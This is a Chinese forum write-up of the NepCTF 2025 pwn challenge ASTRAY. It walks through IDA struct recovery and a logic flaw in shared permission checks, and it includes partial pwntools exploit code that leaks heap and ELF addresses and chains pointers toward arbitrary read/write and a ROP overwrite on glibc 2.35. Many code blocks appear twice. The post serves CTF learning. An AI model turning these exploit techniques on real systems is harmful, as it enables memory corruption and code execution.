首页
社区
课程
招聘
[原创]NepCTF 2025 Pwn赛题ASTRAY解析:从结构体逆向到逻辑漏洞,用任意地址读写攻破glibc2.35
发表于: 2025-8-2 16:55 3724

[原创]NepCTF 2025 Pwn赛题ASTRAY解析:从结构体逆向到逻辑漏洞,用任意地址读写攻破glibc2.35

2025-8-2 16:55
3724

题目名:ASTRAY

解题数:26

题目描述:There are a lot of forks in the road here, kid, are you lost?

知识点:代码审计、逆向结构体还原、逻辑漏洞、高版本glibc(>=2.35)任意地址读写

本题的难点在于逆向分析与结构体还原,熟悉程序逻辑后漏洞利用步骤比较常规。

拖入IDA分析,找到main函数:

image-20250731095234995

发现它会执行init函数并返回a1,然后根据输入的perm权限选择执行user_operation()manager_operation(a1)

跟进init函数分析:

image-20250731095440367

申请0x2000堆空间,并将地址存储到v2指针。然后对全局变量进行一系列的初始化操作,我们可以结合后续使用到这些变量的地方理解它们的含义。

先来分析user_operation()函数:

image-20250731095746031

让我们输入idxop,然后调用check()函数检查权限。我们跟进check()函数分析:

image-20250731100025092

它会先判断idx是否<=20,也就是说我们有20个可以操作的元素。接着判断op是否合法,只允许5种操作。

然后,从manage_physic[]中根据idx取出元素地址存储到v5指针。

对于perm == 1000的情况:·

这个函数可能是usermanager共用的检查函数,并且如果user使用managerop也可以检查通过(可能存在逻辑漏洞)。

通过check()函数的检查之后,程序会根据idxmanage_physic[]dword_4068[]中取出元素存储到qword_41A8结构体中。

然后调用permission_confirm()函数,我们跟进分析:

image-20250731101033105

这里会根据我们之前输入的op,为qword_41A8+16设置一个值。

这个函数也是usermanager共用的函数,如果user输入managerop也可以成功设置值。

最后根据qword_41A8+16中的值决定执行USER_readUSER_write

根据上面的分析,我们发现,user_operation()函数允许用户输入idxop,然后根据op指令去读或写数组中下标为idx的指针指向的区域。

但是,可能存在安全风险,因为check()permission_confirm()函数的共用,程序并没有严格校验,使得user也可以输入managerop

这样会导致qword_41A8被错误的赋值manage_physic[]dword_4068[]中的值,但不进行任何操作。

我们继续分析另一个分支,manager_operation()函数:

image-20250731102215951

这个函数同样要求我们输入idxop,然后调用check()函数进行权限检查。

对于check()函数,前面的操作和之前一样,区别在于:

执行完毕check()后,程序会根据输入的idx为全局变量a1赋值(暂不具体分析)。

随后,程序调用permission_confirm()函数根据op*(*(a1 + 8) + 16)赋值,并根据赋值选择后续执行的分支。

同理,check()permission_confirm()被共用,且检查不严谨,manager也可以输入user的指令。

最后,程序根据*(*(a1 + 8) + 16)处的值执行不同分支:

分析完这两个函数后,我们可以对结构体尝试还原。

首先,我们来到init函数,分析全局变量数组的初始化:

双击manager_physic[]数组查看内存空间布局:

image-20250731104904116

发现manager_physic[]只占8个字节,所以这个循环初始化会进行越界操作写入到紧邻的dword_4068[]数组中。

结合前面的逆向分析,可以推断出manager_physic[]数组的大小被错误的识别,我们将其修改为20个元素:

image-20250731105606709

然后根据初始化的赋推断Physic结构体:

修复后的结构体如下图所示,代码可读性大幅度提高:

image-20250731105847352

继续分析init()函数,全局变量qword_41A8存储0x18大小空间的地址(后续用到再分析这个结构体):

接着,将manage_physic[0].content_ptr赋值给局部变量 content_ptr,然后进行一系列的赋值操作:

根据这些赋值,我们可以推测出Content结构体:

其中,unknown_ptr的大小与初始化与qword_41A8相似,可以推断出它们类型应该一致。

然后将Physic结构体的content_ptr类型修改为Content *

还原后的结构体如下所示:

image-20250731110825968

最终,程序返回manage_physic[0]的地址给全局变量a1指针。

此时,再次进入user_operation()函数:

image-20250731111315122

可以发现,代码可读性有所提高。结合代码,我们可以推断出qword_41A8类型的的结构体:

它在Physic结构体的基础上,多了一个permission_confirm字段用于根据op选择程序分支。

此时,user_operation()函数非常清晰:

image-20250731111949149

我们之前提到过,Content结构体中的unknown_ptr与该变量类型一致,将其修改为PhysicWithPermissionConfirm *类型并改名。

此时,我们再次进入manager_operation()函数,发现代码可读性提高:

image-20250731112507335

main函数:

image-20250731112916687

init函数:

image-20250731112817731

user_operation函数:

image-20250731112834426

manager_operation函数:

image-20250731112943369

至此,我们已经完成逆向分析的所有工作,后续只需要理清程序逻辑即可进行进一步的漏洞利用。

逆向分析完成后,我们发现manager_operation()函数中有一段代码非常奇怪:

它没有写入到某个变量中,而是写入到计算后的地址指向的内存空间中。

a1->only_user_ptrinit()函数中被初始化为onlyuser变量的地址:

我们可以在内存空间中查看onlyuser变量:

image-20250731113231711

(a1->only_user_ptr + 8)刚好是physicEntry变量的地址(在user_operation()函数中被赋值的全局变量):

image-20250731113405363

内存结构如图所示:

image-20250731161726138

如果我们可以控制a1->only_user_ptr就可以实现任意地址读写

我们在init()函数中可以发现一个很有意思的事情,manage_physic[]数组的有效存储空间实际为下标1-19。

而全局变量a1始终指向manage_physic[0].content_ptr,它在初始化时被赋值:

如果我们能通过程序修改manage_physic[0]->content_ptr的内容,就能进一步控制a1->only_user_ptr

physicEntry = manage_physic[0]时,内存布局如下图所示:

image-20250731162331978

此时,我们修改**(a1->only_user_ptr + 8)就是在修改最右侧的结构体,进而实现篡改only_user_ptr指针。

但我们还没有考虑check()函数的权限校验,它可能不允许我们操作下标为0的元素,我们再次进入check()函数:

image-20250731115059408

如果我们输入USER_write,程序要求该元素perm的最低为1。如果我们输入MANAGER_write,程序要求该元素的次低位为1。

而在init()函数中,manage_physic[0]->perm被赋值为16,无法满足这两个write操作的条件。

这时候,我们只能寄希望于MANAGER_visit进行读写操作,它只会去检查physicEntry->content_ptr是否非空(在user_operation()函数中被赋值)。

此外,想要使用manager_operation()函数的MANAGER_visit,还需要满足checkvisit()函数的条件:

image-20250731165943088

permission_confirm的第3bit只能为0,所以USER_read不满足条件。

所以,我们现在的思路是尝试在user_operation()函数中将manage_physic[0]的地址赋值给全局变量physicEntry

user_operation()函数中:

image-20250731115551107

只有通过check()函数的检查,我们才能为physicEntry变量赋值。

check()函数中,我们使用Manager_read or USER_read(对应的permission_confirm第3bit不为0)MANAGER_write or USER_write(perm检查不通过)都无法通过检查。

不过,在前面的逆向分析中,我们发现check()函数检查并不严格,我们可以在user_operation()函数中使用managerop

我们使用MANAGER_visit以通过权限检查:

image-20250731143541779

然后,程序会设置physicEntry->content_ptr=manage_physic[0].content_ptr,但不会执行后门的任何操作。

然后,我们开始覆盖manage_physic[0]->content_ptr->only_user_ptr指针实现任意地址读写。

由于程序读写**(a1->only_user_ptr + 8),我们需要两个跳板指向以便让**(a1->only_user_ptr + 8)指向target。

覆盖前:

image-20250731164025903

覆盖后:

image-20250731164326543

此后,我们只需要修改chunk_B中的内容就可以实现任意地址读写操作。

通过指针改写,我们已经实现任意地址读写。题目开启RELRO无法修改GOT,并且所给的glibc为2.35版本,没有hook函数。

利用思路同常规的题目,我们先泄露libc,然后泄露environ变量中的栈地址,最后改写返回地址为ROP即可。

首先,通过user_operation()函数,设置physicEntry->content_ptr = manager_physic[0].content_ptr

脚本如下所示:

此时,*(a1->only_user_ptr + 8) = manager_physic[0].content_ptr

接着,我们使用manager_operation()MANAGER_visit读取出manager_physic[0]->content_ptr以泄露heapelf_base

此时,它会依次输出magic(4字节)pad(4字节)physicWithPermissionConfirm_ptr(8字节)only_user_ptr(8字节)

脚本如下所示:

然后,我们开始覆盖manage_physic[0]->content_ptr->only_user_ptr指针实现任意地址读写。

由于程序读写**(a1->only_user_ptr + 8),我们需要两个跳板指向以便让**(a1->only_user_ptr + 8)指向target。

覆盖前:

image-20250731164025903

覆盖后:

image-20250731164326543

通过动态调试,先通过拿到manage_physic[11]->content_ptr作为chunk_Amanage_physic[12]->content_ptr作为chunk_B

接着依次改写,脚本如下所示:

然后,我们封装两个函数,用于任意地址读写:

后续进行常规利用,通过任意地址读泄露libc:

最后,配合动态调试,确认返回地址,通过任意地址写将rop写入到返回地址:

dword_4068[0] = 16;
for ( i = 1; i <= 19; ++i )
{
    manage_physic[2 * i] = (__int64)v2 + 256 * i;
    if ( i > 9 )
      dword_4068[4 * i] = 3;
    else
      dword_4068[4 * i] = 2;
}
dword_4068[0] = 16;
for ( i = 1; i <= 19; ++i )
{
    manage_physic[2 * i] = (__int64)v2 + 256 * i;
    if ( i > 9 )
      dword_4068[4 * i] = 3;
    else
      dword_4068[4 * i] = 2;
}
00000000 Physic          struc ; (sizeof=0x10, mappedto_8)
00000000 content_ptr     dq ?
00000008 perm            dd ?
0000000C pad             dd ?
00000010 Physic          ends
00000000 Physic          struc ; (sizeof=0x10, mappedto_8)
00000000 content_ptr     dq ?
00000008 perm            dd ?
0000000C pad             dd ?
00000010 Physic          ends
qword_41A8 = (__int64)malloc(0x18uLL);
*(_DWORD *)(qword_41A8 + 16) = 0;
*(_QWORD *)qword_41A8 = 0LL;
*(_DWORD *)(qword_41A8 + 8) = 0;
qword_41A8 = (__int64)malloc(0x18uLL);
*(_DWORD *)(qword_41A8 + 16) = 0;
*(_QWORD *)qword_41A8 = 0LL;
*(_DWORD *)(qword_41A8 + 8) = 0;
content_ptr = manage_physic[0].content_ptr;
*manage_physic[0].content_ptr = 1;
*(content_ptr + 16) = &onlyuser;
*(content_ptr + 8) = malloc(0x18uLL);
*(*(content_ptr + 8) + 16LL) = 0;
**(content_ptr + 8) = 0LL;
*(*(content_ptr + 8) + 8LL) = 0;
content_ptr = manage_physic[0].content_ptr;
*manage_physic[0].content_ptr = 1;
*(content_ptr + 16) = &onlyuser;
*(content_ptr + 8) = malloc(0x18uLL);
*(*(content_ptr + 8) + 16LL) = 0;
**(content_ptr + 8) = 0LL;
*(*(content_ptr + 8) + 8LL) = 0;
00000000 Content         struc ; (sizeof=0x18, mappedto_9)
00000000 magic           dd ?
00000004 pad             dd ?
00000008 unknown_ptr     dq ?
00000010 only_user_ptr   dq ?
00000018 Content         ends
00000000 Content         struc ; (sizeof=0x18, mappedto_9)
00000000 magic           dd ?
00000004 pad             dd ?
00000008 unknown_ptr     dq ?
00000010 only_user_ptr   dq ?
00000018 Content         ends
00000000 PhysicWithPermissionConfirm struc ; (sizeof=0x18, mappedto_10)
00000000 content_ptr     dq ?                    ; offset
00000008 perm            dd ?
0000000C pad1            dd ?
00000010 permission_confirm dd ?
00000014 pad2            dd ?
00000018 PhysicWithPermissionConfirm ends
00000000 PhysicWithPermissionConfirm struc ; (sizeof=0x18, mappedto_10)
00000000 content_ptr     dq ?                    ; offset
00000008 perm            dd ?
0000000C pad1            dd ?
00000010 permission_confirm dd ?
00000014 pad2            dd ?
00000018 PhysicWithPermissionConfirm ends
case 6:
  write(1, **(a1->only_user_ptr + 8), 0xFFuLL);
  break;
case 3:
  read(0, **(a1->only_user_ptr + 8), 0xFFuLL);
  break;
case 6:
  write(1, **(a1->only_user_ptr + 8), 0xFFuLL);
  break;
case 3:
  read(0, **(a1->only_user_ptr + 8), 0xFFuLL);
  break;
content_ptr->only_user_ptr = &onlyuser;
content_ptr->only_user_ptr = &onlyuser;
content_ptr = manage_physic[0].content_ptr;
manage_physic[0].content_ptr->magic = 1;
content_ptr->only_user_ptr = &onlyuser;
content_ptr->physicWithPermissionConfirm_ptr = malloc(0x18uLL);
content_ptr->physicWithPermissionConfirm_ptr->permission_confirm = 0;
content_ptr->physicWithPermissionConfirm_ptr->content_ptr = 0LL;
content_ptr->physicWithPermissionConfirm_ptr->perm = 0;
content_ptr = manage_physic[0].content_ptr;
manage_physic[0].content_ptr->magic = 1;
content_ptr->only_user_ptr = &onlyuser;
content_ptr->physicWithPermissionConfirm_ptr = malloc(0x18uLL);
content_ptr->physicWithPermissionConfirm_ptr->permission_confirm = 0;
content_ptr->physicWithPermissionConfirm_ptr->content_ptr = 0LL;
content_ptr->physicWithPermissionConfirm_ptr->perm = 0;
# 1. physicEntry->content_ptr = manager_physic[0].content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1000')
p.sendafter(b'logs(USER_write)\n', b'USER_read')
p.sendlineafter(b'can visit\n', b'0')
# 1. physicEntry->content_ptr = manager_physic[0].content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1000')
p.sendafter(b'logs(USER_write)\n', b'USER_read')
p.sendlineafter(b'can visit\n', b'0')
# 2. leak heap and elf_base by manager_physic[0]->content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')
 
p.recv(8)
 
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x22d0
success("leak_addr = " + hex(leak_addr))
 
elf_base = u64(p.recv(8)) - 0x41A0
success("elf_base = " + hex(elf_base))
# 2. leak heap and elf_base by manager_physic[0]->content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')
 
p.recv(8)
 
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x22d0
success("leak_addr = " + hex(leak_addr))
 
elf_base = u64(p.recv(8)) - 0x41A0
success("elf_base = " + hex(elf_base))
# 3. (user_only_ptr-8) ->  chunk_A -> chunk_B -> target
chunk_A_addr = heap_base + 0xda0
chunk_B_addr = heap_base + 0xea0
target = 0xdeadbeef
 
# chunk_A -> chunk_B
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'11')
sleep(1)
p.send(p64(chunk_B_addr))
 
# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(target))
 
# (user_only_ptr-8) ->  chunk_A
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'user_logs\n', b'2')
sleep(1)
p.send(p64(0xdeadbeef) + p64(leak_addr) + p64(chunk_A_addr-8))
# 3. (user_only_ptr-8) ->  chunk_A -> chunk_B -> target
chunk_A_addr = heap_base + 0xda0
chunk_B_addr = heap_base + 0xea0
target = 0xdeadbeef
 
# chunk_A -> chunk_B
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'11')
sleep(1)
p.send(p64(chunk_B_addr))
 

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 2025-8-2 17:07 被Real返璞归真编辑 ,原因: 补充题目附件
上传的附件:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
可以私聊吗
2025-8-3 22:09
0
游客
登录 | 注册 方可回帖
返回